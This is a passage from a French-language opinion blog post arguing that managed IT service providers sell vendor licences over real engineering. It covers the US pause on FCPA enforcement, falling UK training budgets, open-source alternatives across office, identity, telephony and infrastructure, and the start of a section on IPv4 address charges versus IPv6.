tourner un à l\u0026rsquo;échelle mondiale siègent dans un seul pays. Donc les objectifs que votre MSP porte, les rabais qui façonnent votre liste et le palier qui fixe sa marge sont tous écrits aux États-Unis.\nCe qui rend utile de savoir comment ce pays traite en ce moment les règles sur la conquête d\u0026rsquo;affaires à l\u0026rsquo;étranger.\nLe 10 février 2025 le président a signé un décret intitulé « Pausing Foreign Corrupt Practices Act Enforcement to Further American Economic and National Security ». Il a ordonné à l\u0026rsquo;Attorney General, pour 180 jours, de « cease initiation of any new FCPA investigations or enforcement actions » — cesser d\u0026rsquo;initier toute nouvelle enquête ou action FCPA —, sur le raisonnement annoncé que l\u0026rsquo;application contre les entreprises américaines « for routine business practices in other nations » — pour des pratiques commerciales de routine dans d\u0026rsquo;autres nations — nuit à la compétitivité américaine.\nLe FCPA poursuit la corruption d\u0026rsquo;agents publics étrangers. C\u0026rsquo;est la pratique qui est décrite.\nCe qui a suivi est au dossier. De nouvelles lignes directrices du Department of Justice le 9 juin 2025 ont resserré l\u0026rsquo;application aux affaires touchant les cartels, un préjudice direct aux entreprises américaines ou la sécurité nationale. Sur l\u0026rsquo;ensemble de 2025 la Securities and Exchange Commission n\u0026rsquo;a intenté aucune action civile FCPA et a dissous son unité FCPA, tandis que le Department of Justice fermait environ la moitié de ses enquêtes actives. Il ne s\u0026rsquo;est pas non plus présenté à la réunion de mars 2025 du Groupe de travail de l\u0026rsquo;OCDE sur la corruption.\nMême loi, direction différente. Elle a retiré 772 millions de dollars à une entreprise d\u0026rsquo;ingénierie française en 2014, et c\u0026rsquo;est la raison pour laquelle l\u0026rsquo;État français a commandé un rapport sur la question de savoir si le droit extraterritorial américain fonctionne comme une arme commerciale. J\u0026rsquo;ai parcouru ça dans jusqu\u0026rsquo;où va la loi d\u0026rsquo;un pays. Donc la loi franchit les frontières pour les entreprises étrangères et est mise au repos pour les nationales, par le gouvernement du pays d\u0026rsquo;où vient toute votre liste de produits.\nN\u0026rsquo;attendez pas du Royaume-Uni qu\u0026rsquo;il comble l\u0026rsquo;écart non plus. La loi ici n\u0026rsquo;est pas la partie faible — le Bribery Act 2010 va plus loin que la loi américaine par endroits, et l\u0026rsquo;article 7 fait une infraction pour une organisation commerciale de ne pas prévenir la corruption par quiconque agit en son nom. Strict, large, et sur les tablettes depuis quinze ans.\nLa partie faible est que l\u0026rsquo;application à cette taille ne marche jamais que comme une opération conjointe. Airbus est le plus grand règlement de corruption auquel ce pays a pris part, et la propre annonce d\u0026rsquo;Airbus en pose la forme : 3 598 millions d\u0026rsquo;euros de pénalités le 31 janvier 2020, allant 2 083 millions d\u0026rsquo;euros au Parquet National Financier français, 984 millions au Serious Fraud Office, 526 millions au Department of Justice et 9 millions au State Department, le SFO et le PNF le menant comme équipe d\u0026rsquo;enquête conjointe. L\u0026rsquo;argent traverse plusieurs pays et les preuves aussi, et aucune agence seule ne peut tout contraindre à elle seule. Il faut que tout le monde se présente.\nNotez la date là-dessus. Janvier 2020 siège à l\u0026rsquo;intérieur de la première administration Trump, et le Department of Justice de l\u0026rsquo;époque était assez content de prendre sa part de 526 millions d\u0026rsquo;euros. La pause est venue cinq ans plus tard, du même président dans son second mandat. Ce n\u0026rsquo;est pas une différence entre administrations. C\u0026rsquo;est une décision prise en 2025.\nL\u0026rsquo;un d\u0026rsquo;eux a cessé de se présenter, et ça va plus profond qu\u0026rsquo;une chaise vide. Un procureur qui n\u0026rsquo;ouvre pas d\u0026rsquo;affaires ne produit rien à partager. Pas d\u0026rsquo;assignations, pas de production de documents, pas de prévenus coopérants, pas de témoins mis sous pression — les preuves qui ont rendu Airbus possible existaient parce que quelqu\u0026rsquo;un est sorti les chercher. Fermez la moitié d\u0026rsquo;un rôle et n\u0026rsquo;intentez aucune nouvelle action, et il n\u0026rsquo;y a rien dans la marmite où quiconque d\u0026rsquo;autre peut puiser. Ce n\u0026rsquo;est pas un pays qui refuse de remettre les choses. C\u0026rsquo;est un pays qui n\u0026rsquo;a plus rien à remettre.\nCela ferme l\u0026rsquo;autre porte aussi. La propre annonce d\u0026rsquo;Airbus met le résultat sur le compte de « reporting, cooperation and new compliance standards » — signalement, coopération et nouvelles normes de conformité — au sein de l\u0026rsquo;entreprise. Les entreprises se dénoncent à cause de ce qui leur arrive si elles ne le font pas. Retirez ce qui leur arrive, et les auto-dénonciations qui déclenchent la plupart de ces affaires cessent d\u0026rsquo;arriver. À Londres autant qu\u0026rsquo;à Washington.\nLe Bribery Act ne s\u0026rsquo;affaiblit pas quand ça arrive. Il perd juste l\u0026rsquo;approvisionnement en preuves qui le rendait utilisable précisément sur les affaires pour lesquelles il a été écrit.\nDix-huit mois de ça, et ça n\u0026rsquo;a pas bougé une seule liste dans cette industrie. Personne ne l\u0026rsquo;a dans un registre de risques, personne ne le demande sur un formulaire d\u0026rsquo;achat, et personne qui vous vend un abonnement de cinq ans ne l\u0026rsquo;a mentionné.\nLe budget de formation est parti le premier Il y a une seconde raison pour laquelle le produit continue de gagner, et elle est moins cynique que la première. Beaucoup des gens qui vous vendent ne sauraient pas faire l\u0026rsquo;autre chose.\nL\u0026rsquo;investissement des employeurs dans la formation dans ce pays baisse depuis vingt ans. La lecture de la 2024 Employer Skills Survey du Learning and Work Institute le situe à 36 % de moins par salarié en termes réels qu\u0026rsquo;en 2005 — 1 700 £ contre 2 634 £. Depuis la seule enquête de 2022 il a encore baissé de 13 %. La taxe d\u0026rsquo;apprentissage est arrivée en 2017 pour inverser exactement ça, et la dépense par salarié y compris la taxe a chuté de 23 % depuis.\nPuis regardez quels secteurs ont coupé le plus fort entre 2022 et 2024. L\u0026rsquo;administration publique à 50 %, les services financiers à 47 %, et l\u0026rsquo;information et les communications à 30 %. Ce dernier est le nôtre. Près d\u0026rsquo;un tiers parti en deux ans, de l\u0026rsquo;industrie qui change le plus vite.\nPendant ce temps la chose défendue a grandi. J\u0026rsquo;ai compté les vulnérabilités publiées de part et d\u0026rsquo;autre d\u0026rsquo;une décennie directement depuis la National Vulnerability Database : 6 595 CVE publiées en 2015, et 49 972 en 2025. Sept fois et demie plus en dix ans, contre un budget de formation qui a baissé d\u0026rsquo;un tiers. Ces deux lignes vont en directions opposées et le font depuis des années.\nLes contrôles qui feraient ressortir la différence ne sont pas non plus en place. La propre Cyber Security Breaches Survey 2025/2026 du gouvernement situe l\u0026rsquo;authentification à deux facteurs à 47 % des entreprises — le même contrôle que les agences des Five Eyes ont nommé pour les comptes MSP en 2022, et le même sur lequel l\u0026rsquo;ICO a infligé une amende à Advanced. La même enquête montre les politiques formelles de cybersécurité en baisse de 59 % à 52 % en un an, et les plans de continuité couvrant la cybersécurité en baisse de 53 % à 44 %. Pas stables. En baisse.\nEt puis mettez une location cloud sous tout ça. Une petite entreprise n\u0026rsquo;administre pas la sienne. Le MSP détient l\u0026rsquo;admin global, bâtit le modèle d\u0026rsquo;identité, règle l\u0026rsquo;accès conditionnel, décide quel stockage est public et lequel ne l\u0026rsquo;est pas, et possède la console. C\u0026rsquo;est précisément ce pour quoi il a été embauché. Donc quand une location finit mal configurée, les mains dessus étaient celles du prestataire. Pas un client cliquant sur la mauvaise case.\nLe rayon d\u0026rsquo;explosion a changé aussi. Un serveur mal configuré en 2005 atteignait à peu près aussi loin que le fil sur lequel il était branché. Une location mal configurée aujourd\u0026rsquo;hui est sur internet à la seconde où elle est enregistrée, c\u0026rsquo;est la même location pour chaque système que l\u0026rsquo;entreprise fait tourner, et l\u0026rsquo;identifiant qui l\u0026rsquo;administre siège chez quelqu\u0026rsquo;un qu\u0026rsquo;ils n\u0026rsquo;ont jamais rencontré, dans une entreprise qu\u0026rsquo;ils n\u0026rsquo;ont pas le droit d\u0026rsquo;auditer.\nLes agences de sécurité de cinq pays ont écrit un avis là-dessus en 2022, et la toute première action de leur liste concerne les comptes qu\u0026rsquo;un prestataire utilise pour entrer dans vos systèmes. Ils l\u0026rsquo;ont mise en premier parce que c\u0026rsquo;est la voie d\u0026rsquo;entrée.\nPuis il y a ce que cette industrie appelle formation. Une certification de fournisseur est de la formation produit. Elle vous apprend où sont les boutons dans la console d\u0026rsquo;une entreprise et ce que cette entreprise a décidé d\u0026rsquo;appeler ses fonctions, elle est écrite et tarifée par l\u0026rsquo;entreprise dont elle couvre les produits, et en détenir assez est une condition du palier partenaire qui fixe la marge. C\u0026rsquo;est un canal de vente coiffé d\u0026rsquo;une toque de diplômé.\nConnaître une console n\u0026rsquo;est pas savoir comment la chose marche. Un ingénieur avec cinq certifications peut n\u0026rsquo;avoir jamais lu un RFC, jamais pris une capture de paquets, et jamais une seule fois déduit de premiers principes pourquoi quelque chose a échoué. Mettez cette personne devant un tunnel qui ne veut pas monter et la réponse honnête ne lui est pas disponible. Blâmer l\u0026rsquo;IPv6 sur le réseau domestique du client, si.\nDonc les deux moitiés se rejoignent. Ils sont payés pour vendre un produit, et de plus en plus le produit est la seule réponse qu\u0026rsquo;ils ont. Un client qui paie pour de l\u0026rsquo;expertise se retrouve avec ni l\u0026rsquo;une ni l\u0026rsquo;autre.\nPersonne n\u0026rsquo;a couché sur le papier ce dont vous aviez besoin Demandez à voir vos besoins. Pas la proposition, pas le devis, pas le schéma d\u0026rsquo;architecture avec votre logo dessus. Les besoins.\nUne capture correcte est ennuyeuse et elle n\u0026rsquo;est pas courte. Que doit faire le service, et pour qui. Combien de gens, d\u0026rsquo;où, sur quoi. Quelle est l\u0026rsquo;heure la plus chargée et quelle est la croissance sur trois ans. Combien de temps peut-il rester en panne avant que ça coûte de l\u0026rsquo;argent réel, et combien de données pouvez-vous vous permettre de perdre. Qu\u0026rsquo;est-ce qui ne doit jamais quitter le pays, et sous quelle loi. Qu\u0026rsquo;est-ce qui doit survivre à un incendie dans un bâtiment. De quoi êtes-vous contractuellement redevable envers vos propres clients. Quel est le budget, capital et fonctionnement, ventilé. Que possédez-vous déjà qui a encore de la vie dedans. Qui le maintient en marche ensuite, et que savent-ils déjà faire tourner.\nC\u0026rsquo;est une matinée de travail avec les bonnes personnes dans la pièce — et cela devrait finir en un document que vous validez avant que quiconque ne dessine une seule boîte.\nSi personne ne vous a demandé la plupart de ça, on ne vous a pas donné une conception. On vous a donné la chose qu\u0026rsquo;ils vendent déjà, avec le nom de votre entreprise sur la couverture.\nGuettez l\u0026rsquo;indice dans l\u0026rsquo;autre sens aussi. Si l\u0026rsquo;exercice de dimensionnement a eu lieu à la première réunion, avant que quiconque ait regardé ce qu\u0026rsquo;est réellement votre charge, alors les chiffres viennent d\u0026rsquo;un gabarit plutôt que de votre parc, et un vrai dimensionnement a besoin de données. Quelqu\u0026rsquo;un qui regarde ce que votre matériel fait réellement maintenant, assez longtemps pour voir une fin de mois et une clôture de trimestre.\nUne seule option n\u0026rsquo;est pas un choix Une conception est un ensemble de choix avec le raisonnement attaché. Ce qui veut dire des options, et des coûts sur toutes, pas seulement celle qu\u0026rsquo;ils veulent que vous preniez.\nVous devriez avoir le ne-rien-faire, chiffré, y compris ce qu\u0026rsquo;il vous coûte quand ça casse. Vous devriez avoir la chose la moins chère qui répond aux besoins. Vous devriez avoir la recommandation, et vous devriez avoir celle qui est surdimensionnée pour vous, pour voir où est la limite. Chacune avec ce qu\u0026rsquo;elle coûte à l\u0026rsquo;achat, ce qu\u0026rsquo;elle coûte à faire tourner cinq ans, ce qu\u0026rsquo;elle ne fait pas — et ce que vous auriez à faire ensuite si vous la dépassiez.\nEt surtout, vous devriez avoir la liste de ce qui a été écarté et pourquoi. C\u0026rsquo;est la partie qui montre que quelqu\u0026rsquo;un a réellement réfléchi.\nSi vous avez reçu exactement une réponse, et que cette réponse se trouve être le fournisseur dans lequel ils sont certifiés et le modèle de licence qui paie mensuellement, vous n\u0026rsquo;avez pas eu une conception. Vous avez eu un devis déguisé en conception. Rien de plus.\nCe que la liste filtre avant que vous ne voyiez quoi que ce soit Quatre réponses au même besoin Open source, sous contrat de support La marge est le travail du prestataire Un fournisseur britannique plus petit Aucun programme partenaire où être Ce que vous possédez déjà, configuré Rien à facturer au renouvellement Le fournisseur du programme partenaire Rabais, enregistrement d'affaire, objectif Est-ce que ça paie ? Est-ce sur le programme ? Ce qui atteint votre bureau Une option, cotée Pas de comparaison, pas d'alternative chiffrée Les trois autres n'ont jamais été chiffrées, donc vous n'avez jamais su leur coût et leur absence a l'air qu'il n'y avait rien à dire Le filtre tourne avant que vous voyiez quoi que ce soit. Trois réponses au même besoin ne sont jamais chiffrées, donc leur absence se lit comme s\u0026rsquo;il n\u0026rsquo;y avait rien à comparer. Il y a une question simple qui fait sortir ça, et je la poserais dans la pièce. Qu\u0026rsquo;avez-vous d\u0026rsquo;autre considéré, et combien ça coûtait ? Quelqu\u0026rsquo;un qui a fait le travail a les chiffres sous la main et aime plutôt qu\u0026rsquo;on le lui demande. Quelqu\u0026rsquo;un qui ne l\u0026rsquo;a pas fait vous dira que les alternatives ne sont pas supportées, pas de niveau entreprise, ou pas quelque chose sur quoi il mettrait son nom. Aucune de celles-là n\u0026rsquo;est un chiffre.\nL\u0026rsquo;open source n\u0026rsquo;entre jamais sur la liste Ce n\u0026rsquo;est pas qu\u0026rsquo;ils le détestent. Il n\u0026rsquo;y a pas de marge dessus, pas de rabais contre, pas de certification à vendre et pas d\u0026rsquo;objectif trimestriel qu\u0026rsquo;il fasse bouger.\nL\u0026rsquo;objection est toujours la même, et c\u0026rsquo;est la seule affirmation de ce billet qui est platement fausse — « ce n\u0026rsquo;est pas supporté ». Tout est supporté, commercialement, avec un contrat et un SLA et quelqu\u0026rsquo;un à appeler — Proxmox vend des abonnements par socket, et Red Hat, SUSE et Canonical vendent du support pour la pile. Vous choisissez qui le supporte plutôt que de choisir s\u0026rsquo;il est supporté du tout. Ce que vous cessez de payer, c\u0026rsquo;est le droit d\u0026rsquo;utiliser un logiciel que vous avez déjà.\nPuis il y a le matériel déjà au sol. Il est manqué entièrement. Chez mon dernier employeur j\u0026rsquo;ai bâti un cloud privé à partir de nœuds HPC déclassés — Proxmox, Ceph et une chaîne complète d\u0026rsquo;Ansible par-dessus — et j\u0026rsquo;ai fini avec 7 serveurs, 480 cœurs, 15 Tio de RAM et 1,8 Pio de stockage, sans budget et avec trois personnes. Un MSP cotant ce même besoin aurait chiffré du matériel neuf et un abonnement — il n\u0026rsquo;y a rien pour lui dans du matériel que vous avez déjà acheté et payé.\nL\u0026rsquo;autre moitié de ceci est le matériel déjà posé sur votre sol, et c\u0026rsquo;est la moitié qui n\u0026rsquo;est jamais chiffrée du tout. Un serveur ne cesse pas de marcher le jour où son contrat de support expire. « Fin de support » est une date que le fournisseur a choisie, pas une mesure que quiconque a prise du matériel, et une boîte avec cinq bonnes années dedans vaut plus pour vous que pour quiconque vend son remplacement. L\u0026rsquo;open source est ce qui vous laisse continuer à l\u0026rsquo;utiliser, parce que la licence se moque de l\u0026rsquo;âge du CPU ou de savoir si le logo devant est encore sous garantie.\nC\u0026rsquo;est le morceau qui ne paie personne. Il n\u0026rsquo;y a pas de rabais sur du matériel que vous possédez déjà, pas de crédit de palier pour une machine qui reste où elle est, et pas de renouvellement sur une licence que personne n\u0026rsquo;a eu à acheter. À ce titre ce n\u0026rsquo;est pas proposé, et la formule saisie à la place est « fin de vie », qui sonne comme de l\u0026rsquo;ingénierie et est une date de vente.\nDemandez que l\u0026rsquo;option open source soit chiffrée correctement, support compris, à côté des autres — et demandez la version qui réutilise ce que vous avez, tarifée contre la version qui ne le fait pas. Pas pour vous faire dissuader de la commerciale. Pour voir l\u0026rsquo;écart, pour que la décision soit la vôtre.\nÀ quoi ressemble réellement l\u0026rsquo;alternative Il y a une réponse open source supportée à presque tout sur une proposition, et il vaut de commencer par la partie qui vous coûte le plus, parce que ce ne sont jamais les serveurs.\nLe logiciel par siège. C\u0026rsquo;est là qu\u0026rsquo;est l\u0026rsquo;argent récurrent, et là où une alternative n\u0026rsquo;est jamais mentionnée. Suite bureautique : LibreOffice, ONLYOFFICE, ou Collabora Online, qui vend des déploiements supportés et vous donne l\u0026rsquo;édition dans le navigateur que les gens croient venir d\u0026rsquo;un seul endroit. Courrier, calendriers et contacts partagés : grommunio parle MAPI, donc Outlook s\u0026rsquo;y connecte comme il le ferait à Exchange, et il est vendu avec support ; SOGo et mailcow couvrent le même terrain différemment. Fichiers, partage et ce pour quoi les gens utilisent réellement un lecteur cloud : Nextcloud, avec un contrat entreprise derrière. Discussion et réunions, la moitié Teams : Mattermost et Rocket.Chat sont l\u0026rsquo;équivalent le plus proche, tous deux auto-hébergeables avec du support à acheter, et Zulip est sous licence Apache et gère les fils correctement. Matrix avec Element, Nextcloud Talk et Jitsi couvrent le reste. Et la moitié SharePoint — intranet, bibliothèques de documents, sites d\u0026rsquo;équipe — c\u0026rsquo;est XWiki, BookStack, OpenProject, Seafile et Nextcloud entre eux.\nLes applications métier. ERP : Odoo Community, ERPNext, Dolibarr. CRM : SuiteCRM, dont l\u0026rsquo;entreprise derrière vend le support, ou EspoCRM. Comptabilité : GnuCash, ou le grand livre intégré à Dolibarr et ERPNext. Gestion documentaire : Paperless-ngx. Restitution : Metabase. Bureau de service et suivi d\u0026rsquo;actifs, que votre MSP vous facture comme un produit : GLPI et Zammad.\nIdentité et secrets, dont tout le reste dépend. Keycloak, FreeIPA, ou Samba comme contrôleur de domaine. Pour les mots de passe, Bitwarden peut être auto-hébergé, Vaultwarden est un serveur AGPL léger qui parle aux mêmes clients, et Passbolt et KeePassXC couvrent le même travail différemment. C\u0026rsquo;est une ligne mensuelle par utilisateur sur la plupart des propositions.\nGestion de parc, qui est la ligne Intune sur votre facture. Fleet fait l\u0026rsquo;inventaire, la politique et l\u0026rsquo;enrôlement à travers les plateformes qu\u0026rsquo;un parc contient réellement, bâti sur osquery. MicroMDM gère l\u0026rsquo;enrôlement Apple, Headwind gère Android, et Ansible, Puppet ou Salt font la configuration sous n\u0026rsquo;importe lequel. Pour la moitié accès distant — la chose dont une section ultérieure de ce billet parle entièrement — MeshCentral est sous licence Apache et RustDesk est AGPL, et tous deux tournent sur un serveur que vous possédez. Ce qui veut dire que la réponse à « quel outil distant est sur mes machines, et qui peut se connecter à la console » peut en être une que vous hébergez et corrigez vous-même, plutôt qu\u0026rsquo;une dont vous apprenez l\u0026rsquo;existence après coup.\nEt la mise à jour elle-même n\u0026rsquo;est plus l\u0026rsquo;art occulte qu\u0026rsquo;on vous vend. Même sur l\u0026rsquo;OS Fisher-Price (Windows), les mises à jour d\u0026rsquo;applications passent maintenant par winget, qui est sous licence MIT, contre un dépôt de manifestes communautaire sous la même licence ; Chocolatey et Scoop font le même travail depuis plus longtemps, et chaque Unix l\u0026rsquo;a depuis les années quatre-vingt-dix. Donc quand la gestion des correctifs se présente sur une proposition comme une ligne gérée premium, regardez ce qui est réellement vendu. Le mécanisme est gratuit et livré par le fournisseur de la plateforme, et le mettre en place est un après-midi. Après ça c\u0026rsquo;est une tâche planifiée. Une entrée cron, ou quoi que la console l\u0026rsquo;appelle, tournant sur une machine qui était déjà là. Vous payez des frais mensuels pour un travail qui se fait tout seul.\nLa réponse à ça est censée être que vous payez quelqu\u0026rsquo;un pour surveiller le résultat et agir quand ça échoue, et ça vaudrait l\u0026rsquo;argent. Alors regardez la preuve de la surveillance. Chez Capita l\u0026rsquo;alerte a été levée en dix minutes et traitée près de trois jours plus tard, contre un objectif d\u0026rsquo;une heure, par une équipe que le régulateur a trouvée en sous-effectif. Sur internet il y a des pare-feux portant encore des vulnérabilités qui sont entrées dans le catalogue exploité des années après qu\u0026rsquo;un correctif a été livré. La surveillance est la partie qui justifierait la facture, et c\u0026rsquo;est la partie avec le moins de preuve qu\u0026rsquo;elle arrive.\nLe système téléphonique, qui est l\u0026rsquo;une des plus vieilles lignes mensuelles par poste qui existent. Asterisk le fait depuis vingt-cinq ans, FreePBX met une interface web par-dessus, FreeSWITCH est l\u0026rsquo;autre moteur, et Kamailio et OpenSIPS gèrent le routage SIP à l\u0026rsquo;échelle opérateur. Si vous le voulez empaqueté plutôt qu\u0026rsquo;assemblé, Wazo, FusionPBX et Issabel le livrent tous construit.\nIl vaut aussi de se souvenir de ce qui est arrivé à celui, propriétaire, que la plupart des prestataires proposent. En mars 2023 la CISA a publié une alerte déclarant que « 3CXDesktopApp — a voice and video conferencing app — was trojanized, potentially leading to multi-staged attacks against users employing the vulnerable app » — 3CXDesktopApp, une appli de conférence audio et vidéo, a été trojanisée, menant potentiellement à des attaques à plusieurs étapes contre les utilisateurs de l\u0026rsquo;appli vulnérable (alerte CISA). Personne n\u0026rsquo;a eu à trouver une vulnérabilité et à l\u0026rsquo;exploiter. Elle est arrivée comme la propre application signée du fournisseur par le propre canal de mise à jour du fournisseur, sur chaque bureau où un partenaire l\u0026rsquo;avait déployée.\nAdobe, qui est un abonnement par siège comme tout le reste. La plupart des entreprises ne paient pas pour une suite créative du tout. Elles paient pour Acrobat et pour les signatures. Stirling PDF est une boîte à outils auto-hébergée qui fait la fusion, la découpe, le caviardage, l\u0026rsquo;OCR et le remplissage de formulaires pour lesquels on achète Acrobat Pro, et Okular ou LibreOffice Draw couvrent le reste. Pour la signature, Documenso et DocuSeal sont tous deux AGPL et tous deux auto-hébergeables — et un tarif par enveloppe pour signer un document est à peu près l\u0026rsquo;exemple le plus net de tout ce billet de la facturation à l\u0026rsquo;usage d\u0026rsquo;une chose que votre propre serveur ferait pour rien. Là où il y a vraiment une équipe de design : GIMP et Krita pour les images, Inkscape pour le vectoriel, Scribus pour la mise en page, darktable et RawTherapee pour la photographie, Kdenlive pour la vidéo, Blender pour la 3D et le compositing, Audacity et Ardour pour l\u0026rsquo;audio.\nLa vidéo, qui vaut un paragraphe à elle seule. Les caméras sont vendues comme un produit géré avec une licence par canal et un enregistreur dans lequel vous n\u0026rsquo;avez pas le droit d\u0026rsquo;entrer. Frigate est sous licence MIT et fait la détection d\u0026rsquo;objets localement sur du matériel que vous possédez ; ZoneMinder est GPL depuis vingt ans. Pour la conférence, Jitsi et BigBlueButton. Et souvenez-vous quel produit c\u0026rsquo;était que Cisco a payé 8,6 millions de dollars et 6 millions de plus pour régler, quelques sections plus bas d\u0026rsquo;ici. Un logiciel de vidéosurveillance, vendu à des organismes publics. La pile caméra premium ne vient pas avec la sécurité attachée.\nStockage et systèmes de fichiers, et notez que personne ne vous offre jamais de choix ici du tout. OpenZFS pour du stockage à sommes de contrôle avec instantanés et envoi/réception, Btrfs, XFS, CephFS. Le système de fichiers sous vos données est une décision d\u0026rsquo;ingénierie avec de vraies conséquences sur combien vous en récupérez après une mauvaise journée, et il arrive en général sous la forme de ce que l\u0026rsquo;appliance a livré avec.\nL\u0026rsquo;infrastructure, en dernier, parce que c\u0026rsquo;est la partie la moins chère de la facture. Hyperviseur et cluster : Proxmox VE. Stockage : Ceph, qui tournera volontiers sur les disques que vous possédez déjà au lieu d\u0026rsquo;une nouvelle baie. Pare-feu et routage : nftables, OPNsense. VPN : WireGuard ou strongSwan. Pour le maillage overlay que tout le monde vend maintenant, il vaut de remettre l\u0026rsquo;image au clair. Les clients de Tailscale sont open source et son propre serveur de coordination hébergé ne l\u0026rsquo;est pas — l\u0026rsquo;entreprise déclare qu\u0026rsquo;il « remains proprietary as part of our managed service » — reste propriétaire comme partie de notre service géré. Mais il y a un serveur de coordination ouvert, et c\u0026rsquo;en est un sérieux : Headscale est sous licence BSD, « an open source, self-hosted implementation of the Tailscale control server » — une implémentation open source, auto-hébergée, du serveur de contrôle Tailscale —, et Tailscale emploie son mainteneur en chef tout en disant qu\u0026rsquo;elle « does not set Headscale\u0026rsquo;s product direction » — ne fixe pas la direction produit de Headscale. Donc le tout peut tourner sur votre propre matériel. NetBird et Nebula sont les autres routes. Répartition de charge : HAProxy et keepalived. Surveillance : Prometheus, Grafana, Zabbix. Sauvegarde : Proxmox Backup Server, Bareos, restic. Gestion de configuration : Ansible. Et pour le travail d\u0026rsquo;intégration coté soit comme développement sur mesure soit comme abonnement d\u0026rsquo;automatisation cloud à l\u0026rsquo;exécution, Node-RED est sous licence Apache, tourne sur une boîte que vous possédez, et ne vous facture pas à l\u0026rsquo;exécution.\nTrois endroits où je ne prétendrai pas que l\u0026rsquo;échange est propre. Premièrement, Teams et SharePoint. La destination n\u0026rsquo;est pas le problème, quoi qu\u0026rsquo;on vous dise — les produits ci-dessus sont matures et les entreprises tournent dessus. La migration est le problème : des années de sites accumulés, un héritage de permissions que personne n\u0026rsquo;a jamais documenté, des flux Power Automate que quelqu\u0026rsquo;un a bâtis puis a quittés, et un comportement de coédition que le personnel attend sans pouvoir le nommer. C\u0026rsquo;est du vrai travail, et il devrait être chiffré comme du vrai travail plutôt que balayé dans un sens ou l\u0026rsquo;autre. Bien que remarquez aussi ce que vous cessez de porter. Ces flux et ces sites sont des processus métier tournant dans le datacentre de quelqu\u0026rsquo;un d\u0026rsquo;autre, sur une plateforme que vous ne pouvez pas redémarrer. Quand ils s\u0026rsquo;arrêtent, vous ne les réparez pas. Vous attendez, et vous dites à vos propres clients que vous attendez. Et la comptabilité britannique a un bord dur : la TVA doit être déclarée via un logiciel que le HMRC reconnaît, et le HMRC publie la liste. Les routes open source vers Making Tax Digital existent — GnuCash a un pont communautaire, ERPNext a un module TVA britannique — mais elles sont maintenues par la communauté plutôt qu\u0026rsquo;un produit avec un contrat de support derrière. C\u0026rsquo;est une vraie limite et elle a sa place dans la comparaison. Troisièmement, une agence de design qui marche vit ou meurt sur l\u0026rsquo;échange de fichiers, et des clients qui vous envoient un .psd et en attendent un en retour sont un vrai problème plutôt qu\u0026rsquo;une affaire de principe. Pour tous les autres, qui ont besoin de remplir un PDF et de le faire signer, il n\u0026rsquo;y a aucun échange à faire du tout. C\u0026rsquo;est juste cesser de payer.\nPourquoi la meilleure affaire n\u0026rsquo;est jamais vendue Alors pourquoi rien de tout ça n\u0026rsquo;est offert ? Parce que ce serait une meilleure affaire pour eux, pas pire, ce qui rend le refus plus intéressant plutôt que moins.\nIl y a deux façons de gagner de l\u0026rsquo;argent sur un client. Revendre une licence, et la marge est fixée par quelqu\u0026rsquo;un d\u0026rsquo;autre, plafonnée par lui, retarifée par lui au renouvellement, et payée que vous ayez fait un travail ce mois-là ou non. Déployer et faire tourner une pile ouverte, et la marge est votre propre travail à votre propre taux, sans personne qui prend une part au passage et sans fournisseur capable de changer le chiffre en avril prochain. La seconde vaut plus par client, et elle bâtit quelque chose. Un ingénieur qui sait faire tourner Ceph, ou monter un serveur de courrier auquel Outlook parle, vaut plus l\u0026rsquo;année prochaine que cette année. Quelqu\u0026rsquo;un qui n\u0026rsquo;a jamais fait que piloter une console vaut exactement la même chose l\u0026rsquo;année prochaine, et seulement tant que cette console existe.\nC\u0026rsquo;est aussi plus dur, et c\u0026rsquo;est tout. Ça doit se gagner de nouveau chaque mois. Ça a besoin d\u0026rsquo;ingénieurs plutôt que d\u0026rsquo;administrateurs, et les ingénieurs sont chers, mettent des années à croître, et peuvent partir et s\u0026rsquo;installer à leur compte. Une licence ne part jamais.\nC\u0026rsquo;est un engagement, et l\u0026rsquo;engagement est la chose qu\u0026rsquo;on évite. Revendre ne demande rien à personne. Choisissez un fournisseur cette année, un autre l\u0026rsquo;année prochaine, et quand ça casse ce n\u0026rsquo;était jamais votre conception de toute façon. Faire tourner la pile soi-même veut dire la choisir, l\u0026rsquo;apprendre correctement, et se tenir derrière devant un client à deux heures du matin. L\u0026rsquo;une a besoin que vous sachiez quelque chose. L\u0026rsquo;autre a besoin d\u0026rsquo;un identifiant de portail.\nÇa casse aussi l\u0026rsquo;arithmétique sur laquelle le modèle tourne. Un service géré est tarifé sur le levier — autant de clients que possible par ingénieur, du personnel junior descendant des runbooks, escalade seulement quand le runbook s\u0026rsquo;épuise. Ça marche parce que le travail a été réduit à des étapes. Mettez-y une pile que quelqu\u0026rsquo;un doit réellement comprendre et le ratio s\u0026rsquo;effondre, la masse salariale grimpe, et l\u0026rsquo;entreprise se retrouve à dépendre de gens qui pourraient partir et emmener des clients avec eux.\nDonc la question sous la liste n\u0026rsquo;a jamais été quel produit est meilleur. C\u0026rsquo;est de savoir si une entreprise est prête à être du genre à employer des gens qui savent des choses.\nCe qui est là où le chiffre de la formation de plus haut revient dans la boucle. Un secteur qui a coupé sa dépense de compétences de 30 % en deux ans ne peut pas vendre de la compétence, donc il vend des licences. Vendre des licences veut dire qu\u0026rsquo;il n\u0026rsquo;a jamais à acquérir la compétence, donc la formation reste coupée, et l\u0026rsquo;année prochaine il y a encore moins à offrir. C\u0026rsquo;est une boucle, et elle ne tourne que dans un sens.\nLe reste est incitation, et nous l\u0026rsquo;avons déjà parcourue. Le fournisseur paie un rabais sur la licence et rien du tout sur le travail. Le vendeur est rémunéré sur le produit. Et quand un hyperscaler a une panne c\u0026rsquo;est la faute de l\u0026rsquo;hyperscaler, tandis qu\u0026rsquo;un cluster que vous avez bâti vous-même est le vôtre — donc revendre achète à quelqu\u0026rsquo;un un endroit où mettre le blâme. Ça vaut de l\u0026rsquo;argent réel pour une entreprise qui préférerait ne pas être responsable.\nRien de tout ça n\u0026rsquo;en fait la bonne réponse pour vous. Ça explique juste pourquoi la comparaison n\u0026rsquo;est jamais écrite.\nLa taxe IPv4 Celle-ci est l\u0026rsquo;exemple le plus net de tout le billet, parce que vous pouvez mettre un prix sur les deux côtés.\nIls vous bâtiront un service uniquement IPv4. Puis ils vous vendront les adresses publiques dont vous avez besoin pour l\u0026rsquo;atteindre, par adresse, par mois, à jamais. Demandez-en une autre et il y a un formulaire, une justification et une ligne sur le renouvellement.\nPendant ce temps IPv6 ne coûte rien de plus. L\u0026rsquo;allocation vient avec l\u0026rsquo;adhésion au registre que vous payez déjà, et le barème 2026 de RIPE est un forfait de 1 800 € par compte LIR quoi que vous déteniez. Le RIPE-690 dit qu\u0026rsquo;un site terminal obtient un /48 